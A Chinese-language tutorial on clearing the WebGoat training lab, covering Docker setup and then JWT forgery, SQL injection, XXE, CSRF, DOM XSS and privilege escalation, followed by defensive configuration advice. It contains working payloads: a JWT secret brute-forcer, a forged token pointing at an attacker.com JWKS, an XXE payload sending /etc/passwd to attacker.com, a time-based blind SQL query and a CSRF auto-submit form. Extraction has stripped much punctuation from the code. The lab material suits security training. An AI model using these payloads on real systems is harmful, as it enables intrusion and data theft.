WebGoat靶场通关避坑指南:从Docker部署到JWT令牌伪造的实战踩坑记录

张开发
2026/4/4 22:44:49 15 分钟阅读

分享文章

WebGoat靶场通关避坑指南:从Docker部署到JWT令牌伪造的实战踩坑记录
WebGoat靶场深度实战从环境搭建到JWT漏洞利用的完整指南1. 靶场环境配置与调试技巧WebGoat作为OWASP推出的专项漏洞训练平台其环境部署往往成为新手的第一道门槛。以下是经过实战验证的部署方案Docker部署方案推荐# 拉取官方镜像并启动容器支持时区同步 docker run -d -p 8001:8080 -p 8002:9090 \ -e TZAsia/Shanghai \ --name webgoat \ webgoat/webgoatWindows原生运行常见问题JDK版本冲突建议使用JDK 11-17版本端口占用问题通过--server.port参数指定备用端口编码错误启动时添加-Dfile.encodingUTF-8参数网络调试工具配置1. Burp Suite代理设置 - 监听端口8080 - 目标范围添加http://localhost:8001 2. 浏览器配置 - 安装SwitchyOmega插件 - 新建情景模式指向Burp代理注意部分关卡如XXE、反序列化必须使用Docker环境才能正常完成2. JWT漏洞实战全解析2.1 基础令牌伪造典型漏洞场景弱密钥爆破HS256算法算法降级攻击none算法Kid参数注入实战案例密钥爆破import jwt import hashlib target_token eyJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJXZWJHb2F0IFRva2VuIEJ1aWxkZXIiLCJhdWQiOiJ3ZWJnb2F0Lm9yZyIsImlhdCI6MTc1NjUyMTg3NCwiZXhwIjoxNzU2NTIxOTM0LCJzdWIiOiJ0b21Ad2ViZ29hdC5vcmciLCJ1c2VybmFtZSI6IlRvbSIsIkVtYWlsIjoidG9tQHdlYmdvYXQub3JnIiwiUm9sZSI6WyJNYW5hZ2VyIiwiUHJvamVjdCBBZG1pbmlzdHJhdG9yIl19.XkN1Opo8dezcsUIYErCtNRjrExb846qJ1-msWvihItw with open(wordlist.txt) as f: for line in f: secret line.strip() try: jwt.decode(target_token, secret, algorithms[HS256]) print(fFound secret: {secret}) break except: continue2.2 高级注入技术JKU/JWK注入流程搭建恶意JWKS端点生成RSA密钥对构造包含自定义JKU的JWT头使用私钥签名伪造令牌关键代码示例// 生成恶意JWKS String jwks { keys: [{ kty: RSA, e: AQAB, kid: malicious, n: AM0bHZ... }] }; // 构造攻击令牌 String forgedToken Jwts.builder() .setHeaderParam(jku, http://attacker.com/malicious.jwks) .setHeaderParam(kid, malicious) .claim(username, admin) .signWith(privateKey) .compact();3. 注入类漏洞突破技巧3.1 SQL注入进阶防御绕过技术对比防御措施绕过方法适用场景关键字过滤双写/SELECT/**/绕过简单正则过滤预处理语句二次注入存储过程场景WAF规则注释符混淆/!50000select/云WAF环境类型强校验边界值溢出整数型注入时间盲注实战-- WebGoat Challenge关卡示例 SELECT * FROM users WHERE id 1 AND IF(ASCII(SUBSTRING(database(),1,1))100, SLEEP(3), 0)3.2 XXE漏洞利用多协议利用方案!DOCTYPE data [ !ENTITY % local_dtd SYSTEM file:///usr/share/yelp/dtd/docbookx.dtd !ENTITY % ISOamso !ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; error SYSTEM http://attacker.com/?%file; %eval; %error; %local_dtd; ]防御绕过技巧使用UTF-16编码绕过内容检测参数实体与常规实体混合使用SVG文件伪装攻击4. 客户端漏洞利用链4.1 CSRF组合攻击Token绕过技术通过XSS窃取CSRF Token子域Cookie作用域滥用HEAD方法绕过验证POC示例!-- 隐藏表单自动提交 -- body onloaddocument.forms[0].submit() form actionhttp://target/transfer methodPOST input typehidden nameamount value10000 input typehidden nameaccount valueattacker /form /body4.2 DOM型XSS挖掘污染流分析方法定位Sources输入源document.locationwindow.namepostMessage数据识别Sinks危险函数eval() innerHTML document.write()构造利用链// 利用AngularJS沙箱逃逸 {{constructor.constructor(alert(1))()}}5. 权限提升实战路径5.1 水平越权模式IDOR漏洞模式矩阵类型检测方法修复方案直接对象引用修改ID参数观察响应变化UUID替代自增ID功能权限缺失访问平行权限用户的功能接口服务端强制访问控制状态篡改修改订单状态字段业务状态机校验5.2 垂直越权案例JWT权限提升步骤获取低权限用户令牌解码获取payload结构添加或修改role/admin字段使用弱密钥或算法漏洞重新签名管理员Cookie伪造# WebGoat密码重置漏洞利用 import hashlib def generate_reset_token(username): secret !!webgoat_admin_9339!! md5 hashlib.md5(username.encode()).hexdigest() return md5[:8] secret[-4:] print(generate_reset_token(admin)) # 输出可用的重置令牌6. 安全防护与加固建议6.1 防御配置清单JWT安全配置# Spring Security配置示例 jwt: algorithm: RS256 # 避免使用HS256 jwk-set-uri: https://example.com/.well-known/jwks.json require-issuer: true require-audience: true require-expiration: trueSQL注入防护// MyBatis安全写法示例 Select(SELECT * FROM users WHERE id #{id}) User getUserById(Param(id) String id); // 禁止的写法 Select(SELECT * FROM users WHERE id ${id}) User getUserByIdUnsafe(String id);6.2 监控与日志策略关键监控指标异常JWT签名请求高频密码重置尝试非常规文件路径访问敏感接口未授权调用ELK日志分析规则{ filter: { bool: { must: [ { match: { message: PasswordResetLink } }, { range: { count: { gt: 5 } } } ] } } }在真实渗透测试项目中WebGoat中的技术往往需要组合使用。曾有一次通过XXE漏洞获取服务器配置后结合JWT弱密钥缺陷最终实现了从普通用户到系统管理员的权限跨越。这提醒我们安全防御需要建立纵深防护体系单一防护措施很容易被层层突破。

更多文章